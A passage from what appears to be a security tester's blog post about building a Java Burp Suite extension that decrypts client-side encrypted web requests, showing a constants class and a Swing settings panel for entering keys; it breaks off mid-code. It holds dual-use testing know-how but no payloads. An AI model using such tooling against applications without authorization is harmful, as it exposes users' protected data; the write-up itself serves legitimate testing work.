&lt;p&gt;The problem is that this whole process from the Python code would make the process kind of slow and not so automatic, so as a challenge, I set myself to develop a local extension for Burp Suite so I could automate this process. Extensions for Burp Suite can be made in several languages like Python (Jython), Ruby (JRuby) and Java which is Burp Suite&#x27;s native language. Initially I thought about using Jython for this, the problem? It&#x27;s limited to Python 2.7 and I don&#x27;t have practice with Ruby, therefore, I opted to do it in Java, which previously cost me 5 hours and a lot of headache, but in the end it worked.&lt;&#x2F;p&gt;
&lt;p&gt;Looking for information on how to develop this extension, PortSwigger itself offers a template to create your extension, which helped me a lot to have the project base. Another extremely fundamental piece (and possibly without it, I would have taken many more hours) was &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@hosam.gemeai&#x2F;a-guide-to-build-burp-suite-extensions-using-montoya-api-java-a8256a169bee&quot;&gt;the article by researcher Hosam Gemei&lt;&#x2F;a&gt; who developed a simple extension for the same situation as mine!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image9.png&quot; alt=&quot;Hosam Gemei&amp;#39;s Burp Suite extension article&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Burp Suite extensions use the Montoya API to interact with various Burp Suite actions. When the extension is loaded, Burp Suite invokes the &lt;code&gt;BurpExtension.initialize(MontoyaApi)&lt;&#x2F;code&gt; method and later creates an instance of the Montoya API interface, from this, our extension can interact with various Burp Suite functionalities.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;imagemontoya.png&quot; alt=&quot;Montoya API structure and BurpExtension initialize method&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;So, with full help from Hosam Gemei&#x27;s project source code, since the situations were practically identical, I started the extension development process, which seemed like a simple process at first, but due to some needs, ended up taking a few more hours. My initial idea was to do like the Python script and define the keys and content statically in the source code, as in the example below:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;package helpers&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;public class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #000000;background-color: #FFFFFF;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;text-decoration: underline;&quot;&gt;Constants&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; EXTENSION_NAME&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Decrypt&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; CAPTION&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Decrypt Extension&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; LOADED_MSG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;[+] Decrypt Extension loaded successfully!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; UNLOAD_MSG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;[+] Decrypt Extension unloaded successfully!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; PUBLIC_KEY_B64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; ENC_PARAMETER_REQ&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;data&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; KEY_ALGORITHM&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;AES&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; ENCRYPTED_SYMMETRIC_KEY_B64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; ENCRYPTED_IV_B64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public static final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; PRIVATE_KEY_B64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;However, what gain would I have if I had to keep manually editing in case the keys changed and have to compile the extension JAR again? None! So the only difference between my extension and Hosam Gemei&#x27;s is that I added an extra window where I define the keys statically from Burp Suite&#x27;s own graphical interface, which was a very positive gain. To develop this window was quite simple, we just use JPanel which is basically a container from the Swing library that allows adding components like buttons, input fields, developing layouts, sections and others. The structure is quite simple:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;SettingsTab.java&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;package ui&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import burp.api.montoya.MontoyaApi&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import helpers.ConfigManager&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import javax.swing.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import java.awt.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;public class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #000000;background-color: #FFFFFF;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;text-decoration: underline;&quot;&gt;SettingsTab&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; MontoyaApi&lt;&#x2F;span&gt;&lt;span&gt; montoya;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; ConfigManager&lt;&#x2F;span&gt;&lt;span&gt; config;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; JPanel&lt;&#x2F;span&gt;&lt;span&gt; panel;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    public&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; SettingsTab&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;MontoyaApi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; api&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt;        this&lt;&#x2F;span&gt;&lt;span&gt;.montoya&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; api;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FD971F;&quot;&gt;        this&lt;&#x2F;span&gt;&lt;span&gt;.config&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ConfigManager.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getInstance&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        createUI&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    private&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; createUI&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JPanel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; GridBagLayout&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        GridBagConstraints&lt;&#x2F;span&gt;&lt;span&gt; gbc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; GridBagConstraints&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.fill&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; GridBagConstraints.HORIZONTAL;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.insets&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; Insets&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        int&lt;&#x2F;span&gt;&lt;span&gt; row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Private Key (Base64):&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; privateKeyField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getPrivateKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(), gbc, row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Public Key (Base64):&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; publicKeyField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getPublicKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(), gbc, row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Encrypted Symmetric Key (Base64):&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; encSymKeyField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getEncryptedSymmetricKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(), gbc, row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Encrypted IV (Base64):&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextArea&lt;&#x2F;span&gt;&lt;span&gt; encIvField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; addTextArea&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getEncryptedIvB64&lt;&#x2F;span&gt;&lt;span&gt;(), gbc, row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Request Enc Parameter:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextField&lt;&#x2F;span&gt;&lt;span&gt; reqParamField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JTextField&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getEncParamReq&lt;&#x2F;span&gt;&lt;span&gt;(),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 20&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(reqParamField, gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;        addLabel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Response Enc Parameter:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, gbc, row);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JTextField&lt;&#x2F;span&gt;&lt;span&gt; respParamField&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JTextField&lt;&#x2F;span&gt;&lt;span&gt;(config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getEncParamResp&lt;&#x2F;span&gt;&lt;span&gt;(),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 20&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        gbc.gridx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;; gbc.gridy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; row&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        panel.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span&gt;(respParamField, gbc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;        JButton&lt;&#x2F;span&gt;&lt;span&gt; saveButton&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; = new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; JButton&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Save Configuration&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        saveButton.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;addActionListener&lt;&#x2F;span&gt;&lt;span&gt;(e &lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            config.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setPrivateKeyB64&lt;&#x2F;span&gt;&lt;span&gt;(privateKeyField.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;getText&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
